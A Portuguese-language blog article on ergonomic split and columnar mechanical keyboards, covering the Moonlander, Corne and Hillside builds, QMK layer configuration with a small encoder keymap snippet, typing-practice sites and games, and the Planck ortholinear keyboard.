<li><a href="https://www.youtube.com/watch?v=tEXX1jdpZN8"target="_blank" rel="noopener">Entendendo Teclados Mecânicos | Minha coleção - Parte 1</a></li>
<li><a href="https://www.youtube.com/watch?v=57axLgXkS_M"target="_blank" rel="noopener">Teclados Mecânicos Exóticos | Minha coleção - Parte 2</a></li>
<li><a href="https://www.youtube.com/watch?v=78aw1muYWQM"target="_blank" rel="noopener">Caminho pro Melhor Teclado do Mundo!</a></li>
</ul>
<p><strong>Primeiro Aviso:</strong> antes que os chatos comentem. Sim, teclados mecânicos são caros. MUITO CAROS. Sim, dá pra escrever livros inteiros num teclado de 50 reais da Multilaser comprado na Kalunga. Não precisa ter switches mecânicos, não precisa de tecla PBT double-shot. Não precisa mudar de layout, qwerty staggered tradicional funciona muito bem. Não precisa de unibody de alumínio. Não precisa de RGB. Não precisa gastar R$ 2.500 num modelo topo de linha. Definitivamente não precisa. Quem faz a obra-prima é o autor e não o teclado.</p>
<p>Isso dito, sim, dá pra ir de São Paulo pra Bahia num Fusca. Ele vai servir sua função de levar do ponto A ao ponto B, como meu pai faria quando era jovem, como meu avô faria na época dele. Funciona perfeitamente bem. Mas, alguns de nós preferem fazer o mesmo trajeto com ar-condicionado, poltronas ergonômicas, som de qualidade, mais velocidade e mais segurança. Nada disso é obrigatório. Ir do ponto A ao ponto B pode ser feito de várias formas diferentes. Se pra você isso não inclui investir em carros caros, não precisa. Use seu Fusca e seja feliz. Este artigo é somente pra quem gosta de Porsche e vê valor nisso.</p>
<p><strong>Segundo Aviso:</strong> a maioria das fotos que mostro no artigo estão em alta resolução original. Pra ver mais detalhes, botão direito e &ldquo;abrir imagem e nova aba&rdquo;. Faz bastante diferença.</p>
<p><strong>Terceiro Aviso:</strong> sim, o artigo é SUPER longo, por isso dá pra navegar pras seções principais usando os links abaixo:</p>
<ul>
<li><a href="#layouts-qmk">Layouts e QMK</a></li>
<li><a href="#treinamento">Treinamento</a></li>
<li><a href="#solucoes-diy">Soluções DIY</a></li>
<li><a href="#ortolineares-gk6">Ortolineares - GK6</a></li>
<li><a href="#ortolineares-q15">Ortolineares - Q15</a></li>
<li><a href="#voyager">Meu Teclado Favorito - Voyager</a></li>
<li><a href="#pulso">Ortolinear vs Colunar</a></li>
<li><a href="#framework">O Futuro - Framework</a></li>
</ul>
<p>Fim dos avisos. No terceiro video eu começo a explicar a diferença pro melhor tipo de teclado do mundo: os ortolineares ou colunares. Não vou explicar tudo de novo, mas em resumo, eles se livram do legado histórico do layout limitado pelas máquinas de escrever mecânicas e repensam o que seria o melhor layout pensando na posição de verdade dos seus dedos, inclusive levando em conta que você tem dedos mais longos e dedos mais curtos (os colunares pensam nisso, os ortolineares não).</p>
<p>Naquele video eu tinha acabado de migrar pra um <a href="https://www.zsa.io/moonlander"target="_blank" rel="noopener">ZSA Moonlander</a>. Até hoje ainda é um dos melhores teclados que eu já experimentei. Mas tem dois problemas fundamentais: primeiro que é extremamente caro, faixa de USD 400. Pra nós, brasileiros, é pior ainda porque vai incidir quase 100% de impostos mais transporte, então estamos falando de um teclado de pelo menos USD 800, mais caro que um PS5, quase o preço de um iPhone 16 Pro comprado nos EUA, faixa de preço de um notebook completo.</p>
<p>Mesmo se dinheiro não for um empecilho pra você, o segundo problema, é que ele é fisicamente gigantesco. Ocupa um espaço absurdo na mesa. Mesmo que tenha uma mesa espaçosa, ele vai ser um &ldquo;trambolhão&rdquo;, olha só como é:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/jn6bce1tishe4tgocps39gtvlvlq" alt="Moonlander"  loading="lazy" /></p>
<p>Mas como disse, a construção da ZSA é de extrema qualidade, os materiais usados incluem metais como alumínio, portanto é tudo muito firme. Os plásticos também são de ótima qualidade. Os switches são removíveis então você pode experimentar um conjunto silencioso como Reds lineares ou barulhentos como Brown ou Blue.</p>
<p>Note também como ele tem inclinação (<a href="https://www.youtube.com/watch?v=oGQhiURh6Tw"target="_blank" rel="noopener">tenting</a>), que faz o meio ser mais alto, pra evitar pronação dos seus pulsos (um dos maiores ofensores em LER ou tendinite), e por isso também tem apoio pros punhos embaixo. É de longe o mais ergonômico. Além disso tem buraco pra parafuso padrão igual de câmera fotográfica, o que permite encaixar em tripés, caso queira experimentar estilos mais exóticos de postura.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/1l8uo8a8opjlj7ova41ld96idhca" alt="Moonlander perfil"  loading="lazy" /></p>
<p>O canal do <a href="https://www.youtube.com/@BenVallack"target="_blank" rel="noopener">Ben Vallack</a> explica melhor isso. Lembrando que o canal dele é extremo, não é pra todo mundo, precisa de muita dedicação pra conseguir se acostumar ao estilo dele, mas é legal ter com referência o que é possível fazer pra casos especiais.</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/II3Wm5P6fOU"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Portanto sim, se pra você o tamanho e o preço não importam, este é de longe o teclado mais customizável, ergonômico e de melhor qualidade possível. Muitos vem me perguntar de modelos como o Kinesis - que também é gigante - mas eu prefiro o Moonlander, nessa categoria. Se formato do Kinesis, em particular, for importante, no final vou falar dele rapidinho.</p>
<p><a name="layouts-qmk"></a></p>
<h2>Layouts e QMK<span class="hx:absolute hx:-mt-20" id="layouts-e-qmk"></span>
    <a href="#layouts-e-qmk" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Mas o Moonlander tem um problema praqueles que querem mesmo cruzar a linha da ergonomia extrema: digitar sem tirar os dedos da &ldquo;home row&rdquo; a linha do meio, onde ficam as teclas &ldquo;F&rdquo; e &ldquo;J&rdquo;. O ideal é ter apenas 3 linhas, uma linha pra cima e outra pra baixo da &ldquo;home row&rdquo;, mas o Moonlander tem 2 linhas acima e 2 linhas abaixo, além de dois thumb-clusters enormes de 4 teclas cada, o que garante que, se tentar usar todas as teclas, vai acabar movendo a mão pra cima e pra baixo mais do que deveria, perdendo o ritmo e velocidade e, principalmente, a ergonomia.</p>
<p>Este passo não é pra todo mundo, mas depois de muito treinar e experimentar, acabei concordando que o formato mais &ldquo;balanceado&rdquo; pra maioria das pessoas que tem intenção de otimizar pra melhor, é o <strong>Corne colunar staggered 40%</strong>.</p>
<p>Se trata de um teclado colunar, ou seja, as teclas estão alinhadas verticalmente, em vez de zig-zaguear entre as linhas, como num convencional. Também são staggered, mas na vertical, ou seja, segue mais ou menos a proporção vertical de comprimento dos dedos. A coluna do meio vai mais pro alto porque o dedo médio é mais longo. Ortolineares são colunares que não são staggered. Já falo mais deles na próxima seção.</p>
<p>Um Corne 40% tem 40% das teclas que um teclado grande convencional - que costuma ter por volta de 103 teclas. Portanto umas 42 teclas. Como são split, divididas no meio, 21 teclas pra cada lado. Alguns preferem remover as duas últimas colunas de teclas nos dois lados mais extremos do teclado, onde ficam &ldquo;tab&rdquo; ou &ldquo;ctrl&rdquo;, reduzindo o total pra 18 teclas de cada lado, ou 36 teclas. E tem alguns como o Ben Vallack que conseguem ir ainda abaixo disso, mas já acho extremo demais e pouco prático pra maioria das pessoas.</p>
<p>Mas como usa um teclado com tão poucas teclas? Como faz pra caber tudo? E esse é o ponto: não faz. Em vez de tentar ter todas as teclas, divide-se em camadas virtuais, com uma tecla modificadora que muda a função de cada tecla. Por exemplo, a maioria dos firmwares de teclados bons hoje são baseados em padrões como QMK ou ZMK. Não quero entrar em detalhes, veja o repositório no GitHub do <a href="https://github.com/qmk/qmk_firmware"target="_blank" rel="noopener">QMK Firmware</a>, mas podemos usar sites como o <a href="https://config.qmk.fm/"target="_blank" rel="noopener">QMK Configurator</a> pra editar o arquivo JSON de layout, visualmente. Por exemplo:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/08zvubti1x2noddivb97pu7678j2" alt="corne layer 1"  loading="lazy" /></p>
<p>Este é o layer 0, sem fazer nada, se só sair digitando no meu teclado, são essas as teclas configuradas por padrão. Aqui nada de novidade, mas note embaixo, no &ldquo;thumb cluster&rdquo;, onde fica o dedão, tem uma tecla dizendo &ldquo;MO(1)&rdquo; que significa <em>&ldquo;Momentarily Turn Layer On&rdquo;</em>, ou seja, se deixar essa tecla apertada, enquanto estiver apertada, ele vai mudar pro layout na camada 1, que está configurada assim:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/6wwjkn4ei6qltt4mbk8g1d1xo50o" alt="corne layer 1"  loading="lazy" /></p>
<p>Tá vendo? É assim que, no meu caso, eu tenho acesso a teclas como &ldquo;page up&rdquo; ou &ldquo;page down&rdquo; ou setas de direção. Quem é de NeoVIM deve ter notado que é a configuração de setas de VIM. Se eu tirar o dedão daquela tecla &ldquo;MO(1)&rdquo;, volta pra camada 0 anterior, e lá, tem outra tecla modificadora, a &ldquo;MO(2)&rdquo; que muda pro seguinte layout:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/0igkt6wac5u5tfdsg2ws3glkbwul" alt="corne camada 2"  loading="lazy" /></p>
<p>É nesta camada que tenho acesso a caracteres especiais como &ldquo;@&rdquo; ou &ldquo;&amp;&rdquo;, sem precisar esticar meu mindinho até o shift no canto, como se faz num teclado convencional. Uso meu dedão. E com o dedão também tenho acesso a acentos e pontuações. Isso é muito subjetivo e cada um pode configurar como quiser, mas preferi fazer meu dedão trabalhar mais. Num teclado convencional, o dedão esquerdo serve pra dar espaço, mas o dedão direito não serve pra nada. E eles são os dedos mais fortes da sua mão. Por outro lado os dois mindinhos ficam encarregados por shift, acentos, pontuação e, em português, é ainda pior que em inglês, porque temos muito mais acentos.</p>
<p>Digitar em português é, na média, mais lento do que em inglês por conta de acentos e palavras mais longas. Mas no meu caso, dividi melhor e dei mais trabalho pro dedão. Veja meu thumb cluster, na camada 0:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/hfnc3l660frcoayvq8oiz110h1kd" alt="camada 0 thumb cluster"  loading="lazy" /></p>
<p>Além de barra de espaço, que coloquei na direita, os dedões ainda tem a função das teclas modificadoras &ldquo;MO(1)&rdquo; e &ldquo;MO(2)&rdquo; além de delete, backspace e enter. Isso tira muito trabalho dos mindinhos, e me parece uma divisão de trabalho mais justa, que leva em conta a força dos dedos. Essa é a principal vantagem de usar um teclado customizável com firmwares como QMK.</p>
<p>Existem dezenas de sugestões de outros layouts, mas leve em consideração que português, por ter acentos, não pode ser igual aos recomendados por norte-americanos. Onde você vai configurar acentos, vai mudar a velocidade e quantidade erros de sua digitação.</p>
<p>O problema é que precisa ter a mente aberta. Aceite que sua memória de teclados convencionais vai ser inutilizada e vai precisar treinar do zero. Então, em vez de tentar colocar teclas onde já está acostumado, pense em mudar pra onde faz mais sentido pro seu workflow. Por exemplo, alguém de data science ou contabilidade, pode querer colocar as teclas numéricas no formato de calculadora, como num teclado convencional grande, e isso pode ser feito numa das camadas extras. Eu tinha uma camada virtual somente com combinações de teclas pra Da Vinci Resolve, pra acelerar meu workflow de editar videos. O mesmo pode ser feito pra programar específicos como Photoshop ou Premiere.</p>
<p><a name="treinamento"></a></p>
<h2>Treinamento<span class="hx:absolute hx:-mt-20" id="treinamento"></span>
    <a href="#treinamento" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra aprender, não tem outro jeito, precisa treinar, horas e horas, dias e dias. Ajustar as teclas em cada camada não é uma coisa que se faz uma só vez. É um processo. Você muda, começa a treinar e vê se realmente está numa posição adequada. Se não estiver, muda, regrava o firmware, e treina mais algumas horas. Até ficar bom pras suas mãos. Esse processo leva dias. Não tente só copiar layouts de outras pessoas. Use de inspiração, mas pense no seu uso particular.</p>
<p>E treinar não é usar 1 hora e acabou. Migrar de teclado staggered convencional, pra colunar, e com layout diferente, vai levar <strong>no mínimo</strong> 40 horas de treino. Se você vai dividir 8 horas de treino por 5 dias ou 20 horas de treino em 2 dias, não importa, mas ninguém consegue ficar bom em menos de 40 horas. Pra maioria das pessoas, pense mais em torno de 50 a <strong>100 horas</strong>.</p>
<p>Eu digo isso porque muitos usam só alguns minutos e já falam <em>&ldquo;ah, isso não é pra mim, nunca vou conseguir&rdquo;.</em> Lógico, alguns minutos não é suficiente. Só depois de umas 10 horas você começa a sentir se quer ou não continuar, antes disso é pura frescura e preguiça.</p>
<p>No começo, logo que migrei, não conseguia digitar mais que 20 palavras por minuto. Treinando mais de 20 horas em 2 dias, num fim de semana, consegui subir pra 70 palavras por minuto e ao final da primeira semana, consegui voltar à minha média antiga de 90 a 100 palavras por minuto (wpm).</p>
<p>E eu tenho mais de 40 anos. Não tem nada a ver com idade. Tem a ver com dedicação em treinar. Isso dito, como treinar? Recomendo os mesmos sites que todo mundo, começando pelo bom e velho <a href="https://monkeytype.com/"target="_blank" rel="noopener">Monkey Type</a>.</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/ivWq2jwQOM0"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Esse site é excepcional, dá pra treinar em quase todas as línguas do mundo. Em inglês dá pra treinar com vocabulário simples e evoluir pra dicionários de palavras bem mais avançadas, dá pra mudar o layout de teclado, cores, temas, tudo. Vale fuçar bastante as opções dele.</p>
<p>Outro site bem conhecido é o <a href="https://www.keybr.com/"target="_blank" rel="noopener">KeyBr</a> que é parecido com o MonkeyType mas não sei porque, parece que sempre vou mais lento aqui. Também tem bastante customização e vale fuçar. É bom quando estiver cansado de olhar pra cara do MonkeyType e quiser novos ares pra variar.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/5owpsnfs2vq75a3nm9k6651xifql" alt="keybr"  loading="lazy" /></p>
<p>E quando estiver se sentindo confortável (especialmente quando conseguir achar posições rápidas pra teclas de acento), experimente competir com outros usuários no bom e velho <a href="https://play.typeracer.com/"target="_blank" rel="noopener">Type Racer</a>:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/mu5h5g2lez67fj6zzw1c1sb4qumv" alt="Type Racer"  loading="lazy" /></p>
<p>Diferente do MonkeyType e KeyBr, que não se preocupam tanto com textos que façam sentido e nem pontuação, aqui eles usam trechos de livros e artigos online. Então são trechos de textos de verdade. Também dá pra escolher diversas línguas diferentes. Inicia uma corrida, espera outros usuários aparecerem, e depois de uns 10 segundos já começa a competir.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/mlmhl8g24q3wr0wqdxgfh7d84gbl" alt="Type Racer Resultado"  loading="lazy" /></p>
<p>Em inglês normalmente se fala em WPM ou &ldquo;palavras por minuto&rdquo;, que é uma métrica que eu não gosto muito, porque palavras em inglês são muito mais curtos que em português, então 100 wpm em português é muito mais rápido do que 100 wpm em inglês. Já o TypeRacer usa &ldquo;CPM&rdquo; que é &ldquo;caracteres por minuto&rdquo;, que eu já acho mais justo.</p>
<p>E mesmo assim, em português, parte dos caracteres requerem duas teclas, uma pro acento e outro pra sílaba. Uma palavra como &ldquo;coração&rdquo; tem 7 caracteres, mas precisou de 9 toques no teclado pra escrever. Lembrem-se disso se forem treinar mais em português.</p>
<p>Finalmente, existem vários jogos gratuitos pra navegador, em javascript, pra treinar digitação e na Steam tem dois jogos pagos que recomendo pra brincar:</p>
<p><a href="https://store.steampowered.com/curator/24395108-Typing-Games/?appid=393330"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/n3wytx0g7tfs93kcpdm2vh952qu7" alt="Jogos Steam"  loading="lazy" /></a></p>
<p><strong>Epistory</strong> é bem bonitinho, uma aventura pra relaxar, dá pra crianças jogarem de boa e vai servir pra incentivar a aprender a digitar direito. Já o <strong>The Typing of the Dead Overkill</strong> é um clássico que tinha nos arcades japoneses (e tinha teclado no arcade!!) e teve versão pra Dreamcast, com um teclado pro console, feito pela Sega e agora dá pra jogar no seu PC. É levinho e divertido e tem muito gore, então não é pra todo mundo. Ambos são baratinhos, por isso recomendo.</p>
<p><a name="solucoes-diy"></a></p>
<h2>Soluções DIY<span class="hx:absolute hx:-mt-20" id="soluções-diy"></span>
    <a href="#solu%c3%a7%c3%b5es-diy" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Infelizmente, teclados ortolineares, colunares, mecânicos no geral, são muito caros. Por isso já explico: não, usar um teclado desses não vai fazer ninguém digitar 10 vezes mais rápido, nem nada disso. É uma opção de conforto, você tem que se importar com isso pra investir. Se pra você um tecladinho genérico da Multilaser já atende, e não sente vontade de mudar, tá ótimo. Continue lendo só pra saber que existem opções, mas não se sinta mal por não estar mudando hoje. Quem sabe mais pra frente.</p>
<p>Pra quem realmente quer mudar mas quer gastar o mínimo possível de dinheiro, precisa gastar mais tempo pesquisando. Lógico, tudo que custa mais caro está embutido o preço da conveniência, já vem tudo montado, bonitinho, é só ligar e usar. Mas quem quer gastar pouco, tem que aprender a opção &ldquo;DIY&rdquo; (<em>Do It Yourself</em>) e montar o seu.</p>
<p>Faz algum tempo que eu recomendo as redes sociais do <strong>Felipe/Tupinikeebs</strong>, tanto no <a href="https://x.com/neversaytop"target="_blank" rel="noopener">X</a> quanto no <a href="https://www.instagram.com/tupinikeebs/"target="_blank" rel="noopener">Instagram</a>. Ele manja tudo sobre montagem de teclados, sabe como e onde pedir todas as peças e, se pagar um extra, faz o serviço todo de encomendar, montar e te mandar já montado. Nas redes sociais dele dá pra achar tudo que é tipo de modelo diferente e exótico.</p>
<p><a href="https://www.instagram.com/tupinikeebs/"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/lnwgh8q6ywg4w5maxmenpps4chkd" alt="Tupinikeebs"  loading="lazy" /></a>
Segue ele, dá uma pesquisada no que já postou, e se quiser encomendar, manda DM. O cara é gente boa. Não incomoda com bobagem, por favor, ele tem mais o que fazer.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/71dok29u4vw25bxyuazu7sfy1pce" alt="corne, hillside"  loading="lazy" /></p>
<p>Na foto anterior temos 3 modelos similares. Dois <strong>Cornes</strong> e um <strong>Hillside</strong> (que é tipo um Corne com espaço pra um Rotary, que é aquele cilindro que dá pra girar, como pra volume).</p>
<p>Os dois primeiros usam teclas de impressora 3D, acho que de resina na verdade, uma com perfil mais de Cherry, mais alto e gordo. O segundo mais low profile e fino. O terceiro são teclas Choc low profile comerciais mesmo. Apesar de todos serem bons, eu realmente prefiro teclas industrializadas, de preferência PBT double shot. Não entendeu nada? É porque não assistiu os videos do meu canal (!!)</p>
<p>Só o do meio fui eu que montei meio que do zero, o primeiro e o terceiro foram o Felipe quem me mandou. Você pode tentar assistir tutoriais no YouTube e pesquiser em sites como o <a href="https://www.boardsource.xyz/products/Corne"target="_blank" rel="noopener">BoardSource</a>. Daí comprar diretamente todos os componentes pra montar. Tem que ficar de olho porque nem sempre tem estoque de todos os componentes.</p>
<p>O primeiro e segundo Corne da foto acho que usam o controlador <strong>Nice!Nano 2.0</strong> e o terceiro, o Hillside, usa controlador <strong>RP2040</strong>, que é mais novo e mais avançado. Eu não sou especialista em todos os modelos, mas isso é importante porque varia o tipo de firmware que suportam. Modelos mais parrudos aguentam firmwares mais complexos, com mais customizações. Por isso é bom pesquisar a respeito. O Hillside, por exemplo, tem os rotary, daí precisa ter suporte a tecla que rotaciona.</p>
<p>Quando faz clone do projeto <strong>QMK Firmware</strong> do GitHub, tem um diretório &ldquo;keyboards&rdquo; com todos os modelos conhecidos. No meu caso, fui em &ldquo;keyboards/hillside/48/keymaps/akitaonrails&rdquo; e editei o &ldquo;keymap.c&rdquo; pra ter este trecho:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cm">/* The encoder_update_user is a function.
</span></span></span><span class="line"><span class="cl"><span class="cm"> * It&#39;ll be called by QMK every time you turn the encoder.
</span></span></span><span class="line"><span class="cl"><span class="cm"> *
</span></span></span><span class="line"><span class="cl"><span class="cm"> * The index parameter tells you which encoder was turned. If you only have
</span></span></span><span class="line"><span class="cl"><span class="cm"> * one encoder, the index will always be zero.
</span></span></span><span class="line"><span class="cl"><span class="cm"> *
</span></span></span><span class="line"><span class="cl"><span class="cm"> * The clockwise parameter tells you the direction of the encoder. It&#39;ll be
</span></span></span><span class="line"><span class="cl"><span class="cm"> * true when you turned the encoder clockwise, and false otherwise.
</span></span></span><span class="line"><span class="cl"><span class="cm"> */</span>
</span></span><span class="line"><span class="cl"><span class="kt">bool</span> <span class="nf">encoder_update_user</span><span class="p">(</span><span class="kt">uint8_t</span> <span class="n">index</span><span class="p">,</span> <span class="kt">bool</span> <span class="n">clockwise</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="cm">/* With an if statement we can check which encoder was turned. */</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">index</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="cm">/* First encoder */</span>
</span></span><span class="line"><span class="cl">    <span class="cm">/* And with another if statement we can check the direction. */</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">clockwise</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="cm">/* This is where the actual magic happens: this bit of code taps on the
</span></span></span><span class="line"><span class="cl"><span class="cm">         Page Down key. You can do anything QMK allows you to do here.
</span></span></span><span class="line"><span class="cl"><span class="cm">         You&#39;ll want to replace these lines with the things you want your
</span></span></span><span class="line"><span class="cl"><span class="cm">         encoders to do. */</span>
</span></span><span class="line"><span class="cl">      <span class="nf">tap_code</span><span class="p">(</span><span class="n">KC_PGDN</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="cm">/* And likewise for the other direction, this time Page Down is pressed. */</span>
</span></span><span class="line"><span class="cl">      <span class="nf">tap_code</span><span class="p">(</span><span class="n">KC_PGUP</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="cm">/* You can copy the code and change the index for every encoder you have. Most
</span></span></span><span class="line"><span class="cl"><span class="cm">     keyboards will only have two, so this piece of code will suffice. */</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">index</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="cm">/* Second encoder */</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">clockwise</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nf">tap_code</span><span class="p">(</span><span class="n">KC_UP</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nf">tap_code</span><span class="p">(</span><span class="n">KC_DOWN</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O código não é importante agora, só pra vocês terem uma idéia. Isso foi neste caso específico. Na maioria dos casos mais simples, só precisa editar um JSON, e ajuda ter um editor visual como o <strong>QMK Configurator</strong> via Web que falei antes. Daí coloca o JSON no diretório do seu modelo de teclado e segue a documentação pra compilar o binário do firmware. Não quero ter que explicar passo a passo aqui, mas tem tutorial em todo lugar, depois dêem uma fuçada no Google e YouTube.</p>
<p>Na dúvida, hoje em dia acho que o padrão é comprar <a href="https://pandakb.com/products/parts/others/promicro-nrf52840/"target="_blank" rel="noopener">Pro Micro</a> e só se não tiver o <a href="https://nicekeyboards.com/nice-nano/"target="_blank" rel="noopener">Nice!Nano v2.0</a>. Esses chips são o que na foto aparecem no centro de cada teclado. É onde fica o cérebro que controla tudo, onde se conecta o cabo USB e o cabo de áudio P1 que conecta as duas metades. Também é onde se ligaria Wi-fi e bateria em alguns modelos. Aí faz mais diferença porque quanto mais potente, mais bateria gasta, menos tempo dura. Então precisa balancear se realmente precisa do chip mais potente.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/cgdxylg28aexie1wk6xpvtg2hiwo" alt="Controlador Nice!Nano"  loading="lazy" /></p>
<p>Olha o meu acima, é wireless, e tem bateria pequena instalada embaixo, acho que é uma Nice!Nano. O acabamento dos fios não ficou grande coisa. Está usando tanto switches Choc quanto teclas low profile estilo Choc, são lineares red, bem finos. Tem gente que prefere um teclado mais alto, eu prefiro mais baixo quanto possível.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/3vrmkf4dxd51zn9hj34sg6r2w1g4" alt="case impressão 3d mais grosso"  loading="lazy" /></p>
<p>Olha essa que o Felipe montou pra mim, com case feito em impressora 3D, bem mais grosso, com switches e teclas de tamanho normal, bem mais alto. O certo é ter apoio de pulso ou acostumar a digitar sem encostar os pulsos na mesa, senão vai dar tendinite rapidinho com essa altura. E tem esses dois buracos na direita onde dá pra colocar parafusos altos, pra fazer &ldquo;tenting&rdquo;, que nem expliquei no Moonlander. Então é boa opção pra quem não quer ou não pode pronar os pulsos (que é justamente onde &ldquo;pinça&rdquo; o nervo e dá tendinite).</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/itiib5ic6pyv5w97566ya6bre7wc" alt="hillside de perto"  loading="lazy" /></p>
<p>Essa Hillside, na verdade, tinha vindo com as teclas low profile pretas. A minha de antes era que estavam com as teclas brancas low profile Choc, mas fiquei trocando pra experimentar (maus Felipe!! kkkk). Na real, esse conjunto de teclas brancas são as que mais gosto. Note o case mais &ldquo;lean&rdquo; roxo que o Felipe fez pra esse board, e o principal, o botão giratório rotary. Dá pra programar pra muita coisa, no momento é só volume, mas acho que dá pra customizar em apps como Photoshop ou edição de video e coisas assim. Eu mesmo não cheguei a tentar, mas pra quem tem essa necessidade, é uma ótima opção.</p>
<p><a name="ortolineares-gk6"></a></p>
<h2>Ortolineares - GK6<span class="hx:absolute hx:-mt-20" id="ortolineares---gk6"></span>
    <a href="#ortolineares---gk6" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Moonlander, Corne, Hillside e outros são todos teclados colunares, staggered, e split. Eu recomendo fortemente acostumar a usar split. Primeiro porque não precisa aproximar as duas mãos, elas podem ficar afastadas, que é o mais natural.</p>
<p>Segundo, pra aprender a fazer cada mão usar as teclas corretas de cada metade, sem uma mão ficar invadindo a metade da outra. Novamente, faz parte do treino forçar isso. É outra vida quando cada dedo aprende a usar a tecla certa. Muito menos esforço, muito menos cansaço, muito menos dores e ainda aumenta velocidade e diminui quantidade de erros. Só tem vantagem.</p>
<p>Na época que fiz meu video, só tinha um modelo ortolinear que era razoável, o <strong>Planck</strong>. Planck acho que é o nome do layout, mas tinha mais de um fabricante, como a Drop (antiga MassDrop) e a própria ZSA.</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/TYTnjGOQrdU"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Se quiser comprar as peças separadas pra montar você mesmo, compre a versão <a href="https://drop.com/buy/planck-mechanical-keyboard?defaultSelectionIds=988297"target="_blank" rel="noopener">Drop + OLKB</a>. E acho que vai ser a única opção porque a ZSA anunciou em Agosto de 2023 que <a href="https://blog.zsa.io/2307-goodbye-planck-ez/"target="_blank" rel="noopener">vai parar de fabricar os Planck EZ</a>, o que é uma pena. Parece que não vendia o suficiente pra justificar continuar fazendo.</p>
<p>A única vantagem dele frente aos outros que mostrei até agora, é a <strong>mobilidade</strong>. Ele é todo de plástico. É muito bem feito e bem construído, não tem cara de plástico barato. Mas por isso é bem leve, e super compacto. De dimensões, se compara a um Nintendo Switch, só mais grosso. Então é muito fácil de carregar numa mochila.</p>
